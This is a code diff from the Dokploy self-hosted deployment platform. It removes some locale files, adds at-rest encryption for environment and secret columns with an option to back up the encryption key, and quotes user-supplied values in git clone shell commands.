-	"settings.server.webServer.storage.cleanDockerBuilder": "Очистити Docker Builder і систему",
-	"settings.server.webServer.storage.cleanMonitoring": "Очистити моніторинг",
-	"settings.server.webServer.storage.cleanAll": "Очистити все",
-
-	"settings.profile.title": "Обліковий запис",
-	"settings.profile.description": "Змініть дані вашого профілю.",
-	"settings.profile.email": "Електронна пошта",
-	"settings.profile.password": "Пароль",
-	"settings.profile.avatar": "Аватар",
-
-	"settings.appearance.title": "Зовнішній вигляд",
-	"settings.appearance.description": "Налаштуйте тему вашої панелі керування.",
-	"settings.appearance.theme": "Тема",
-	"settings.appearance.themeDescription": "Оберіть тему для вашої панелі керування",
-	"settings.appearance.themes.light": "Світла",
-	"settings.appearance.themes.dark": "Темна",
-	"settings.appearance.themes.system": "Системна",
-	"settings.appearance.language": "Мова",
-	"settings.appearance.languageDescription": "Оберіть мову для вашої панелі керування",
-
-	"settings.terminal.connectionSettings": "Налаштування з'єднання",
-	"settings.terminal.ipAddress": "IP-адреса",
-	"settings.terminal.port": "Порт",
-	"settings.terminal.username": "Ім'я користувача"
-}

apps/dokploy/public/locales/zh-Hans/common.json

@@ -1,78 +0,0 @@
-{
-	"dashboard.title": "仪表盘",
-	"dashboard.overview": "概览",
-	"dashboard.projects": "项目",
-	"dashboard.servers": "服务器",
-	"dashboard.docker": "Docker",
-	"dashboard.monitoring": "监控",
-	"dashboard.settings": "设置",
-	"dashboard.logout": "退出登录",
-	"dashboard.profile": "个人资料",
-	"dashboard.terminal": "终端",
-	"dashboard.containers": "容器",
-	"dashboard.images": "镜像",
-	"dashboard.volumes": "卷",
-	"dashboard.networks": "网络",
-	"button.create": "创建",
-	"button.edit": "编辑",
-	"button.delete": "删除",
-	"button.cancel": "取消",
-	"button.save": "保存",
-	"button.confirm": "确认",
-	"button.back": "返回",
-	"button.next": "下一步",
-	"button.finish": "完成",
-	"status.running": "运行中",
-	"status.stopped": "已停止",
-	"status.error": "错误",
-	"status.pending": "等待中",
-	"status.success": "成功",
-	"status.failed": "失败",
-	"form.required": "必填",
-	"form.invalid": "无效",
-	"form.submit": "提交",
-	"form.reset": "重置",
-	"notification.success": "操作成功",
-	"notification.error": "操作失败",
-	"notification.warning": "警告",
-	"notification.info": "信息",
-	"time.now": "刚刚",
-	"time.minutes": "分钟前",
-	"time.hours": "小时前",
-	"time.days": "天前",
-	"filter.all": "全部",
-	"filter.active": "活跃",
-	"filter.inactive": "不活跃",
-	"sort.asc": "升序",
-	"sort.desc": "降序",
-	"search.placeholder": "搜索...",
-	"search.noResults": "无结果",
-	"pagination.prev": "上一页",
-	"pagination.next": "下一页",
-	"pagination.of": "共 {0} 页",
-	"error.notFound": "未找到",
-	"error.serverError": "服务器错误",
-	"error.unauthorized": "未授权",
-	"error.forbidden": "禁止访问",
-	"loading": "加载中...",
-	"empty": "暂无数据",
-	"more": "更多",
-	"less": "收起",
-	"project.create": "创建项目",
-	"project.edit": "编辑项目",
-	"project.delete": "删除项目",
-	"project.name": "项目名称",
-	"project.description": "项目描述",
-	"service.create": "创建服务",
-	"service.edit": "编辑服务",
-	"service.delete": "删除服务",
-	"service.name": "服务名称",
-	"service.type": "服务类型",
-	"domain.add": "添加域名",
-	"domain.remove": "移除域名",
-	"environment.variables": "环境变量",
-	"environment.add": "添加环境变量",
-	"environment.edit": "编辑环境变量",
-	"environment.name": "变量名",
-	"environment.value": "变量值"
-}

apps/dokploy/public/locales/zh-Hans/settings.json

@@ -1,67 +0,0 @@
-{
-	"settings.common.save": "保存",
-	"settings.common.enterTerminal": "终端",
-	"settings.server.domain.title": "服务器域名",
-	"settings.server.domain.description": "为您的服务器应用添加域名。",
-	"settings.server.domain.form.domain": "域名",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt 邮箱",
-	"settings.server.domain.form.certificate.label": "证书提供商",
-	"settings.server.domain.form.certificate.placeholder": "选择证书",
-	"settings.server.domain.form.certificateOptions.none": "无",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-	"settings.server.webServer.title": "Web 服务器",
-	"settings.server.webServer.description": "重载或清理 Web 服务器。",
-	"settings.server.webServer.actions": "操作",
-	"settings.server.webServer.reload": "重新加载",
-	"settings.server.webServer.watchLogs": "查看日志",
-	"settings.server.webServer.updateServerIp": "更新服务器 IP",
-	"settings.server.webServer.server.label": "服务器",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "修改环境变量",
-	"settings.server.webServer.traefik.managePorts": "额外端口映射",
-	"settings.server.webServer.traefik.managePortsDescription": "为 Traefik 添加或删除额外端口",
-	"settings.server.webServer.traefik.targetPort": "目标端口",
-	"settings.server.webServer.traefik.publishedPort": "发布端口",
-	"settings.server.webServer.traefik.addPort": "添加端口",
-	"settings.server.webServer.traefik.portsUpdated": "端口更新成功",
-	"settings.server.webServer.traefik.portsUpdateError": "端口更新失败",
-	"settings.server.webServer.traefik.publishMode": "发布模式",
-	"settings.server.webServer.storage.label": "存储空间",
-	"settings.server.webServer.storage.cleanUnusedImages": "清理未使用的镜像",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "清理未使用的卷",
-	"settings.server.webServer.storage.cleanStoppedContainers": "清理已停止的容器",
-	"settings.server.webServer.storage.cleanDockerBuilder": "清理 Docker Builder 和系统",
-	"settings.server.webServer.storage.cleanMonitoring": "清理监控数据",
-	"settings.server.webServer.storage.cleanAll": "清理所有内容",
-	"settings.profile.title": "账户",
-	"settings.profile.description": "在此更改您的个人资料详情。",
-	"settings.profile.email": "邮箱",
-	"settings.profile.password": "密码",
-	"settings.profile.avatar": "头像",
-	"settings.appearance.title": "外观",
-	"settings.appearance.description": "自定义您的仪表盘主题。",
-	"settings.appearance.theme": "主题",
-	"settings.appearance.themeDescription": "为您的仪表盘选择主题",
-	"settings.appearance.themes.light": "明亮",
-	"settings.appearance.themes.dark": "暗黑",
-	"settings.appearance.themes.system": "跟随系统",
-	"settings.appearance.language": "语言",
-	"settings.appearance.languageDescription": "为您的仪表盘选择语言",
-	"settings.terminal.connectionSettings": "连接设置",
-	"settings.terminal.ipAddress": "IP 地址",
-	"settings.terminal.port": "端口",
-	"settings.terminal.username": "用户名",
-	"settings.settings": "设置",
-	"settings.general": "通用设置",
-	"settings.security": "安全",
-	"settings.users": "用户管理",
-	"settings.roles": "角色管理",
-	"settings.permissions": "权限",
-	"settings.api": "API设置",
-	"settings.certificates": "证书管理",
-	"settings.ssh": "SSH密钥",
-	"settings.backups": "备份",
-	"settings.logs": "日志",
-	"settings.updates": "更新",
-	"settings.network": "网络"
-}

apps/dokploy/public/locales/zh-Hant/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/zh-Hant/settings.json

@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "儲存",
-	"settings.common.enterTerminal": "進入終端機",
-	"settings.server.domain.title": "網域設定",
-	"settings.server.domain.description": "新增網域至伺服器",
-	"settings.server.domain.form.domain": "網域",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt 信箱",
-	"settings.server.domain.form.certificate.label": "憑證",
-	"settings.server.domain.form.certificate.placeholder": "選擇一個憑證",
-	"settings.server.domain.form.certificateOptions.none": "無",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "伺服器設定",
-	"settings.server.webServer.description": "管理伺服器",
-	"settings.server.webServer.actions": "操作",
-	"settings.server.webServer.reload": "重新載入",
-	"settings.server.webServer.watchLogs": "查看日誌",
-	"settings.server.webServer.updateServerIp": "更新伺服器 IP",
-	"settings.server.webServer.server.label": "伺服器",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "修改環境變數",
-	"settings.server.webServer.traefik.managePorts": "埠轉發",
-	"settings.server.webServer.traefik.managePortsDescription": "新增或移除 Traefik 的其他埠",
-	"settings.server.webServer.traefik.targetPort": "目標埠",
-	"settings.server.webServer.traefik.publishedPort": "對外埠",
-	"settings.server.webServer.traefik.addPort": "新增埠",
-	"settings.server.webServer.traefik.portsUpdated": "埠更新成功",
-	"settings.server.webServer.traefik.portsUpdateError": "埠更新失敗",
-	"settings.server.webServer.traefik.publishMode": "埠對應模式",
-	"settings.server.webServer.storage.label": "儲存空間",
-	"settings.server.webServer.storage.cleanUnusedImages": "清理未使用的映像檔",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "清理未使用的卷",
-	"settings.server.webServer.storage.cleanStoppedContainers": "清理已停止的容器",
-	"settings.server.webServer.storage.cleanDockerBuilder": "清理 Docker Builder 和系統快取",
-	"settings.server.webServer.storage.cleanMonitoring": "清理監控數據",
-	"settings.server.webServer.storage.cleanAll": "清理所有內容",
-
-	"settings.profile.title": "帳戶",
-	"settings.profile.description": "更改您的個人資料",
-	"settings.profile.email": "信箱",
-	"settings.profile.password": "密碼",
-	"settings.profile.avatar": "頭像",
-
-	"settings.appearance.title": "外觀",
-	"settings.appearance.description": "自訂面板主題",
-	"settings.appearance.theme": "主題",
-	"settings.appearance.themeDescription": "選擇面板主題",
-	"settings.appearance.themes.light": "明亮",
-	"settings.appearance.themes.dark": "黑暗",
-	"settings.appearance.themes.system": "系統",
-	"settings.appearance.language": "語言",
-	"settings.appearance.languageDescription": "選擇面板語言",
-
-	"settings.terminal.connectionSettings": "終端機設定",
-	"settings.terminal.ipAddress": "IP 位址",
-	"settings.terminal.port": "埠",
-	"settings.terminal.username": "使用者名稱"
-}

apps/dokploy/server/api/routers/user.ts

@@ -35,6 +35,7 @@ import { TRPCError } from "@trpc/server";
 import * as bcrypt from "bcrypt";
 import { and, asc, eq, gt, ne } from "drizzle-orm";
 import { z } from "zod";
+import { apiKeyNameSchema } from "@/lib/api-keys";
 import { audit } from "@/server/api/utils/audit";
 import {
 	adminProcedure,
@@ -45,7 +46,7 @@ import {
 } from "../trpc";
 
 const apiCreateApiKey = z.object({
-	name: z.string().min(1),
+	name: apiKeyNameSchema,
 	prefix: z.string().optional(),
 	expiresIn: z.number().optional(),
 	metadata: z.object({

packages/server/src/db/schema/application.ts

@@ -51,7 +51,12 @@ import {
 	UpdateConfigSwarmSchema,
 } from "./shared";
 import { sshKeys } from "./ssh-key";
-import { APP_NAME_MESSAGE, APP_NAME_REGEX, generateAppName } from "./utils";
+import {
+	APP_NAME_MESSAGE,
+	APP_NAME_REGEX,
+	encryptedText,
+	generateAppName,
+} from "./utils";
 export const sourceType = pgEnum("sourceType", [
 	"docker",
 	"git",
@@ -82,11 +87,11 @@ export const applications = pgTable("application", {
 		.$defaultFn(() => generateAppName("app"))
 		.unique(),
 	description: text("description"),
-	env: text("env"),
-	previewEnv: text("previewEnv"),
+	env: encryptedText("env"),
+	previewEnv: encryptedText("previewEnv"),
 	watchPaths: text("watchPaths").array(),
-	previewBuildArgs: text("previewBuildArgs"),
-	previewBuildSecrets: text("previewBuildSecrets"),
+	previewBuildArgs: encryptedText("previewBuildArgs"),
+	previewBuildSecrets: encryptedText("previewBuildSecrets"),
 	previewLabels: text("previewLabels").array(),
 	previewWildcard: text("previewWildcard"),
 	previewPort: integer("previewPort").default(3000),
@@ -105,8 +110,8 @@ export const applications = pgTable("application", {
 		"previewRequireCollaboratorPermissions",
 	).default(true),
 	rollbackActive: boolean("rollbackActive").default(false),
-	buildArgs: text("buildArgs"),
-	buildSecrets: text("buildSecrets"),
+	buildArgs: encryptedText("buildArgs"),
+	buildSecrets: encryptedText("buildSecrets"),
 	memoryReservation: text("memoryReservation"),
 	memoryLimit: text("memoryLimit"),
 	cpuReservation: text("cpuReservation"),

packages/server/src/db/schema/backups.ts

@@ -50,6 +50,7 @@ export const backups = pgTable("backup", {
 		.notNull()
 		.references(() => destinations.destinationId, { onDelete: "cascade" }),
 	keepLatestCount: integer("keepLatestCount"),
+	includeEncryptionKey: boolean("includeEncryptionKey").notNull().default(true),
 	backupType: backupType("backupType").notNull().default("database"),
 	databaseType: databaseType("databaseType").notNull(),
 	composeId: text("composeId").references(
@@ -160,6 +161,7 @@ const createSchema = createInsertSchema(backups, {
 	mongoId: z.string().optional(),
 	libsqlId: z.string().optional(),
 	userId: z.string().optional(),
+	includeEncryptionKey: z.boolean().optional(),
 	metadata: z.any().optional(),
 });
 
@@ -180,6 +182,7 @@ export const apiCreateBackup = createSchema.pick({
 	backupType: true,
 	composeId: true,
 	serviceName: true,
+	includeEncryptionKey: true,
 	metadata: true,
 });
 
@@ -206,7 +209,10 @@ export const apiUpdateBackup = createSchema
 		metadata: true,
 		databaseType: true,
 	})
-	.required();
+	.required()
+	.extend({
+		includeEncryptionKey: z.boolean().optional(),
+	});
 
 export const apiRestoreBackup = z.object({
 	databaseId: z.string(),

packages/server/src/db/schema/compose.ts

@@ -17,7 +17,12 @@ import { schedules } from "./schedule";
 import { server } from "./server";
 import { applicationStatus, triggerType } from "./shared";
 import { sshKeys } from "./ssh-key";
-import { APP_NAME_MESSAGE, APP_NAME_REGEX, generateAppName } from "./utils";
+import {
+	APP_NAME_MESSAGE,
+	APP_NAME_REGEX,
+	encryptedText,
+	generateAppName,
+} from "./utils";
 export const sourceTypeCompose = pgEnum("sourceTypeCompose", [
 	"git",
 	"github",
@@ -39,7 +44,7 @@ export const compose = pgTable("compose", {
 		.notNull()
 		.$defaultFn(() => generateAppName("compose")),
 	description: text("description"),
-	env: text("env"),
+	env: encryptedText("env"),
 	composeFile: text("composeFile").notNull().default(""),
 	refreshToken: text("refreshToken").$defaultFn(() => nanoid()),
 	sourceType: sourceTypeCompose("sourceType").notNull().default("github"),

packages/server/src/db/schema/environment.ts

@@ -11,6 +11,7 @@ import { mysql } from "./mysql";
 import { postgres } from "./postgres";
 import { projects } from "./project";
 import { redis } from "./redis";
+import { encryptedText } from "./utils";
 
 export const environments = pgTable("environment", {
 	environmentId: text("environmentId")
@@ -22,7 +23,7 @@ export const environments = pgTable("environment", {
 	createdAt: text("createdAt")
 		.notNull()
 		.$defaultFn(() => new Date().toISOString()),
-	env: text("env").notNull().default(""),
+	env: encryptedText("env").notNull().default(""),
 	projectId: text("projectId")
 		.notNull()
 		.references(() => projects.projectId, { onDelete: "cascade" }),

packages/server/src/db/schema/libsql.ts

@@ -37,6 +37,7 @@ import {
 import {
 	DATABASE_PASSWORD_MESSAGE,
 	DATABASE_PASSWORD_REGEX,
+	encryptedText,
 	generateAppName,
 } from "./utils";
 
@@ -58,7 +59,7 @@ export const libsql = pgTable("libsql", {
 	enableNamespaces: boolean("enableNamespaces").notNull().default(false),
 	dockerImage: text("dockerImage").notNull(),
 	command: text("command"),
-	env: text("env"),
+	env: encryptedText("env"),
 	// RESOURCES
 	memoryReservation: text("memoryReservation"),
 	memoryLimit: text("memoryLimit"),

packages/server/src/db/schema/mariadb.ts

@@ -33,6 +33,7 @@ import {
 	APP_NAME_REGEX,
 	DATABASE_PASSWORD_MESSAGE,
 	DATABASE_PASSWORD_REGEX,
+	encryptedText,
 	generateAppName,
 } from "./utils";
 
@@ -54,7 +55,7 @@ export const mariadb = pgTable("mariadb", {
 	dockerImage: text("dockerImage").notNull(),
 	command: text("command"),
 	args: text("args").array(),
-	env: text("env"),
+	env: encryptedText("env"),
 	// RESOURCES
 	memoryReservation: text("memoryReservation"),
 	memoryLimit: text("memoryLimit"),

packages/server/src/db/schema/mongo.ts

@@ -40,6 +40,7 @@ import {
 	APP_NAME_REGEX,
 	DATABASE_PASSWORD_MESSAGE,
 	DATABASE_PASSWORD_REGEX,
+	encryptedText,
 	generateAppName,
 } from "./utils";
 
@@ -59,7 +60,7 @@ export const mongo = pgTable("mongo", {
 	dockerImage: text("dockerImage").notNull().default("mongo:8"),
 	command: text("command"),
 	args: text("args").array(),
-	env: text("env"),
+	env: encryptedText("env"),
 	memoryReservation: text("memoryReservation"),
 	memoryLimit: text("memoryLimit"),
 	cpuReservation: text("cpuReservation"),

packages/server/src/db/schema/mysql.ts

@@ -33,6 +33,7 @@ import {
 	APP_NAME_REGEX,
 	DATABASE_PASSWORD_MESSAGE,
 	DATABASE_PASSWORD_REGEX,
+	encryptedText,
 	generateAppName,
 } from "./utils";
 
@@ -54,7 +55,7 @@ export const mysql = pgTable("mysql", {
 	dockerImage: text("dockerImage").notNull(),
 	command: text("command"),
 	args: text("args").array(),
-	env: text("env"),
+	env: encryptedText("env"),
 	memoryReservation: text("memoryReservation"),
 	memoryLimit: text("memoryLimit"),
 	cpuReservation: text("cpuReservation"),

packages/server/src/db/schema/postgres.ts

@@ -33,6 +33,7 @@ import {
 	APP_NAME_REGEX,
 	DATABASE_PASSWORD_MESSAGE,
 	DATABASE_PASSWORD_REGEX,
+	encryptedText,
 	generateAppName,
 } from "./utils";
 
@@ -53,7 +54,7 @@ export const postgres = pgTable("postgres", {
 	dockerImage: text("dockerImage").notNull(),
 	command: text("command"),
 	args: text("args").array(),
-	env: text("env"),
+	env: encryptedText("env"),
 	memoryReservation: text("memoryReservation"),
 	externalPort: integer("externalPort"),
 	memoryLimit: text("memoryLimit"),

packages/server/src/db/schema/project.ts

@@ -6,6 +6,7 @@ import { z } from "zod";
 import { organization } from "./account";
 import { environments } from "./environment";
 import { projectTags } from "./tag";
+import { encryptedText } from "./utils";
 
 export const projects = pgTable("project", {
 	projectId: text("projectId")
@@ -21,7 +22,7 @@ export const projects = pgTable("project", {
 	organizationId: text("organizationId")
 		.notNull()
 		.references(() => organization.id, { onDelete: "cascade" }),
-	env: text("env").notNull().default(""),
+	env: encryptedText("env").notNull().default(""),
 });
 
 export const projectRelations = relations(projects, ({ many, one }) => ({
@@ -37,6 +38,7 @@ const createSchema = createInsertSchema(projects, {
 	projectId: z.string().min(1),
 	name: z.string().min(1),
 	description: z.string().optional(),
+	env: z.string().optional(),
 });
 
 export const apiCreateProject = createSchema.pick({

packages/server/src/db/schema/redis.ts

@@ -27,7 +27,12 @@ import {
 	type UpdateConfigSwarm,
 	UpdateConfigSwarmSchema,
 } from "./shared";
-import { APP_NAME_MESSAGE, APP_NAME_REGEX, generateAppName } from "./utils";
+import {
+	APP_NAME_MESSAGE,
+	APP_NAME_REGEX,
+	encryptedText,
+	generateAppName,
+} from "./utils";
 
 export const redis = pgTable("redis", {
 	redisId: text("redisId")
@@ -44,7 +49,7 @@ export const redis = pgTable("redis", {
 	dockerImage: text("dockerImage").notNull(),
 	command: text("command"),
 	args: text("args").array(),
-	env: text("env"),
+	env: encryptedText("env"),
 	memoryReservation: text("memoryReservation"),
 	memoryLimit: text("memoryLimit"),
 	cpuReservation: text("cpuReservation"),

packages/server/src/db/schema/utils.ts

@@ -1,7 +1,36 @@
+import { decryptValue, encryptValue } from "@dokploy/server/lib/encryption";
 import { generatePassword } from "@dokploy/server/templates";
 import { faker } from "@faker-js/faker";
+import { customType } from "drizzle-orm/pg-core";
 import { customAlphabet } from "nanoid";
 
+/**
+ * Text column encrypted at rest (AES-256-GCM, key derived from
+ * BETTER_AUTH_SECRET). Legacy plaintext values are passed through on read
+ * and get encrypted the next time they are written.
+ */
+export const encryptedText = customType<{ data: string; driverData: string }>({
+	dataType() {
+		return "text";
+	},
+	toDriver(value) {
+		return encryptValue(value);
+	},
+	fromDriver(value) {
+		try {
+			return decryptValue(value);
+		} catch {
+			// Fail open so a key mismatch (e.g. restoring a backup under a
+			// different BETTER_AUTH_SECRET) degrades to showing ciphertext
+			// instead of breaking every query that touches the row.
+			console.error(
+				"Failed to decrypt an encrypted column; returning the raw value. This usually means BETTER_AUTH_SECRET changed after the value was encrypted.",
+			);
+			return value;
+		}
+	},
+});
+
 const alphabet = "abcdefghijklmnopqrstuvwxyz123456789";
 
 const customNanoid = customAlphabet(alphabet, 6);

packages/server/src/lib/auth.ts

@@ -419,11 +419,7 @@ const createBetterAuth = () =>
 				enableMetadata: true,
 				references: "user",
 			}),
-			sso({
-				saml: {
-					enableInResponseToValidation: false,
-				},
-			}),
+			sso(),
 			scim({
 				beforeSCIMTokenGenerated: async ({ user }) => {
 					const dbUser = await db.query.user.findFirst({

packages/server/src/lib/encryption-secret.ts

@@ -0,0 +1,15 @@
+import { readSecret } from "../db/constants";
+
+const { ENCRYPTION_KEY, ENCRYPTION_KEY_FILE } = process.env;
+
+function resolveEncryptionSecret(): string | undefined {
+	if (ENCRYPTION_KEY) {
+		return ENCRYPTION_KEY;
+	}
+	if (ENCRYPTION_KEY_FILE) {
+		return readSecret(ENCRYPTION_KEY_FILE);
+	}
+	return undefined;
+}
+
+export const encryptionSecret = resolveEncryptionSecret();

packages/server/src/lib/encryption.ts

@@ -0,0 +1,108 @@
+import {
+	createCipheriv,
+	createDecipheriv,
+	createHmac,
+	randomBytes,
+} from "node:crypto";
+import { readFileSync } from "node:fs";
+import { join } from "node:path";
+import { paths } from "@dokploy/server/constants";
+import { betterAuthSecret } from "./auth-secret";
+import { encryptionSecret } from "./encryption-secret";
+
+export const ENCRYPTION_KEY_BACKUP_FILE = "encryption.key";
+
+const ENCRYPTION_PREFIX = "enc:v1:";
+const IV_LENGTH = 12;
+const AUTH_TAG_LENGTH = 16;
+
+const deriveKey = (secret: string) =>
+	createHmac("sha256", secret).update("dokploy:db-encryption:v1").digest();
+
+const primaryKey = deriveKey(encryptionSecret ?? betterAuthSecret);
+
+// Installs that adopt a dedicated ENCRYPTION_KEY still hold values encrypted
+// with the auth-secret-derived key; keep it as a decrypt fallback so they
+// lazily re-encrypt on the next write instead of becoming unreadable.
+const decryptionKeys = encryptionSecret
+	? [primaryKey, deriveKey(betterAuthSecret)]
+	: [primaryKey];
+
+// Derived keys only — never the raw secrets. A leaked key can decrypt
+// stored values, but the raw BETTER_AUTH_SECRET could also forge sessions.
+export const exportEncryptionKeys = () =>
+	decryptionKeys.map((key) => key.toString("hex")).join("\n");
+
+let restoredKeys: Buffer[] | undefined;
+
+// A backup created with "include encryption key" places the original
+// server's keys at BASE_PATH when restored; use them as a last-resort
+// decryption fallback so restored values keep working on the new server.
+const loadRestoredKeys = (): Buffer[] => {
+	if (restoredKeys?.length) {
+		return restoredKeys;
+	}
+	try {
+		const { BASE_PATH } = paths();
+		const keys = readFileSync(
+			join(BASE_PATH, ENCRYPTION_KEY_BACKUP_FILE),
+			"utf8",
+		)
+			.split("\n")
+			.map((line) => line.trim())
+			.filter(Boolean)
+			.map((hex) => Buffer.from(hex, "hex"))
+			.filter(
+				(key) =>
+					key.length === 32 && !decryptionKeys.some((own) => own.equals(key)),
+			);
+		if (keys.length) {
+			restoredKeys = keys;
+		}
+	} catch {
+		// No restored key file present.
+	}
+	return restoredKeys ?? [];
+};
+
+export const isEncrypted = (value: string) =>
+	value.startsWith(ENCRYPTION_PREFIX);
+
+export const encryptValue = (value: string): string => {
+	if (!value || isEncrypted(value)) {
+		return value;
+	}
+	const iv = randomBytes(IV_LENGTH);
+	const cipher = createCipheriv("aes-256-gcm", primaryKey, iv);
+	const encrypted = Buffer.concat([
+		cipher.update(value, "utf8"),
+		cipher.final(),
+	]);
+	return `${ENCRYPTION_PREFIX}${Buffer.concat([iv, cipher.getAuthTag(), encrypted]).toString("base64")}`;
+};
+
+export const decryptValue = (value: string): string => {
+	if (!value || !isEncrypted(value)) {
+		return value;
+	}
+	const payload = Buffer.from(value.slice(ENCRYPTION_PREFIX.length), "base64");
+	const iv = payload.subarray(0, IV_LENGTH);
+	const authTag = payload.subarray(IV_LENGTH, IV_LENGTH + AUTH_TAG_LENGTH);
+	const encrypted = payload.subarray(IV_LENGTH + AUTH_TAG_LENGTH);
+	const keys = [...decryptionKeys, ...loadRestoredKeys()];
+	for (const key of keys) {
+		try {
+			const decipher = createDecipheriv("aes-256-gcm", key, iv);
+			decipher.setAuthTag(authTag);
+			return Buffer.concat([
+				decipher.update(encrypted),
+				decipher.final(),
+			]).toString("utf8");
+		} catch {
+			// GCM auth failed for this key; try the next one.
+		}
+	}
+	throw new Error(
+		"Failed to decrypt a stored secret. This usually means ENCRYPTION_KEY or BETTER_AUTH_SECRET changed after the value was encrypted.",
+	);
+};

packages/server/src/utils/backups/web-server.ts

@@ -1,8 +1,12 @@
 import { createWriteStream } from "node:fs";
-import { mkdtemp, rm, stat } from "node:fs/promises";
+import { mkdtemp, rm, stat, writeFile } from "node:fs/promises";
 import { tmpdir } from "node:os";
 import { join } from "node:path";
 import { IS_CLOUD, paths } from "@dokploy/server/constants";
+import {
+	ENCRYPTION_KEY_BACKUP_FILE,
+	exportEncryptionKeys,
+} from "@dokploy/server/lib/encryption";
 import type { BackupSchedule } from "@dokploy/server/services/backup";
 import {
 	createDeploymentBackup,
@@ -78,11 +82,22 @@ export const runWebServerBackup = async (backup: BackupSchedule) => {
 			await execAsync(cleanupCommand);
 
 			await execAsync(
-				`rsync -a --ignore-errors --no-specials --no-devices --exclude='volume-backups/' ${BASE_PATH}/ ${tempDir}/filesystem/`,
+				`rsync -a --ignore-errors --no-specials --no-devices --exclude='volume-backups/' --exclude='${ENCRYPTION_KEY_BACKUP_FILE}' ${BASE_PATH}/ ${tempDir}/filesystem/`,
 			);
 
 			writeStream.write("Copied filesystem to temp directory\n");
 
+			if (backup.includeEncryptionKey) {
+				// Restoring the filesystem places this file at BASE_PATH, where
+				// the encryption keyring picks it up as a decryption fallback.
+				await writeFile(
+					join(tempDir, "filesystem", ENCRYPTION_KEY_BACKUP_FILE),
+					exportEncryptionKeys(),
+					{ mode: 0o600 },
+				);
+				writeStream.write("Included encryption key in backup\n");
+			}
+
 			await execAsync(
 				// Zip all .sql files since we created more than one
 				`cd ${tempDir} && zip -r ${backupFileName} *.sql filesystem/ > /dev/null 2>&1`,

packages/server/src/utils/docker/compose/volume.ts

@@ -26,11 +26,14 @@ export const addSuffixToVolumesInServices = (
 		if (_.has(newServiceConfig, "volumes")) {
 			newServiceConfig.volumes = _.map(newServiceConfig.volumes, (volume) => {
 				if (_.isString(volume)) {
-					const [volumeName, path] = volume.split(":");
+					// remainder is the container path plus optional access mode (:ro, :z, :Z)
+					const [volumeName, ...pathAndMode] = volume.split(":");
+					const remainder = pathAndMode.join(":");
 
 					// skip bind mounts and variables (e.g. $PWD)
 					if (
 						!volumeName ||
+						!remainder ||
 						volumeName.startsWith(".") ||
 						volumeName.startsWith("/") ||
 						volumeName.startsWith("$")
@@ -43,10 +46,10 @@ export const addSuffixToVolumesInServices = (
 					if (parts.length > 1) {
 						const baseName = parts[0];
 						const rest = parts.slice(1).join("/");
-						return `${baseName}-${suffix}/${rest}:${path}`;
+						return `${baseName}-${suffix}/${rest}:${remainder}`;
 					}
 
-					return `${volumeName}-${suffix}:${path}`;
+					return `${volumeName}-${suffix}:${remainder}`;
 				}
 				if (_.isObject(volume) && volume.type === "volume" && volume.source) {
 					return {

packages/server/src/utils/providers/bitbucket.ts

@@ -11,6 +11,7 @@ import {
 import type { InferResultType } from "@dokploy/server/types/with";
 import { TRPCError } from "@trpc/server";
 import type { z } from "zod";
+import { shellWord } from "./utils";
 
 export type ApplicationWithBitbucket = InferResultType<
 	"applications",
@@ -124,8 +125,8 @@ export const cloneBitbucketRepository = async ({
 	const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository;
 	const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`;
 	const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone);
-	command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`;
-	command += `git clone --branch ${bitbucketBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
+	command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
+	command += `git clone --branch ${shellWord(bitbucketBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
 	return command;
 };
 

packages/server/src/utils/providers/git.ts

@@ -5,6 +5,7 @@ import {
 	updateSSHKeyById,
 } from "@dokploy/server/services/ssh-key";
 import { execAsync, execAsyncRemote } from "../process/execAsync";
+import { shellWord } from "./utils";
 
 interface CloneGitRepository {
 	appName: string;
@@ -61,7 +62,7 @@ export const cloneGitRepository = async ({
 	}
 	command += `rm -rf ${outputPath};`;
 	command += `mkdir -p ${outputPath};`;
-	command += `echo "Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅";`;
+	command += `echo ${shellWord(`Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅`)};`;
 
 	if (customGitSSHKeyId) {
 		await updateSSHKeyById({
@@ -78,8 +79,8 @@ export const cloneGitRepository = async ({
 		command += "chmod 600 /tmp/id_rsa;";
 		command += `export GIT_SSH_COMMAND="${gitSshCommand}";`;
 	}
-	command += `if ! git clone --branch ${customGitBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${customGitUrl} ${outputPath}; then
-				echo "❌ [ERROR] Fail to clone the repository ${customGitUrl}";
+	command += `if ! git clone --branch ${shellWord(customGitBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${shellWord(customGitUrl)} ${shellWord(outputPath)}; then
+				echo ${shellWord(`❌ [ERROR] Fail to clone the repository ${customGitUrl}`)};
 				exit 1;
 			fi
 			`;
@@ -114,7 +115,7 @@ const addHostToKnownHostsCommand = (repositoryURL: string) => {
 	// ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer
 	// it, and its exit code must not abort the clone under `set -e`. The clone's
 	// own host-key check (StrictHostKeyChecking=accept-new) is the real boundary.
-	return `ssh-keyscan -p ${port} ${domain} >> ${knownHostsPath} || true;`;
+	return `ssh-keyscan -p ${Number(port)} ${shellWord(domain)} >> ${knownHostsPath} || true;`;
 };
 const sanitizeRepoPathSSH = (input: string) => {
 	const SSH_PATH_RE = new RegExp(

packages/server/src/utils/providers/gitea.ts

